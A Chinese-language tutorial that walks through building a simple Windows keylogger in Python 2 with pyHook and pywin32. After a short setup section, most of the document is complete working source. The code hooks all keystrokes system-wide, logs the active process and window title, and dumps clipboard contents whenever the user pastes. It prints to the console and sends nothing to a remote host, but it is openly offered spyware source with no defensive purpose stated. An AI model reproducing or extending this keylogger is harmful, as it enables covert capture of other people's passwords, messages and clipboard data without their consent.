使用python实现简易键盘记录功能
环境准备
- Anaconda2(python2.7 64bit) Anaconda官网 蟒蛇:一个包丰富的python科学计算发行版
-
pyHook
- pyHook-Download-for-32bit ps:32bit直接下载.exe安装,注意python路径应在环境变量中
-
python-Download-for-64bit
pip install *.whl
- pyHook tutorial 简单使用说明
-
pywin32
Anoncoda自带
流程图
图片转载自
代码实现
from ctypes import *
import pyHook
import pythoncom
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# 获取最上层的窗口句柄
hwnd = user32.GetForegroundWindow()
# 获取进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
# 将进程ID存入变量中
process_id = "%d" % pid.value
# 申请内存
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
# 读取窗口标题
windows_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(windows_title), 512)
# 打印
print
print "[ PID:%s-%s-%s]" % (process_id, executable.value, windows_title.value)
print
# 关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
# 定义击键监听事件函数
def KeyStroke(event):
global current_window
# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.WindowName != current_window:
current_window = event.WindowName
# 函数调用
get_current_process()
# 检测击键是否常规按键(非组合键等)
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
else:
# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE]-%s" % (pasted_value),
else:
print "[%s]" % event.Key,
# 循环监听下一个击键事件
return True
# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()